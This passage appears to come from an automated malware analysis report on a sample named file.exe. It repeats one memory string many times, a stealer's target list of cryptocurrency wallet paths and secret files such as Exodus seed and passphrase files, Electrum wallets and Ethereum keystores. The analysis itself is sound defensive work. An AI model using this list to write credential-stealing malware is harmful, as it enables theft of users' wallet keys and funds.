Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 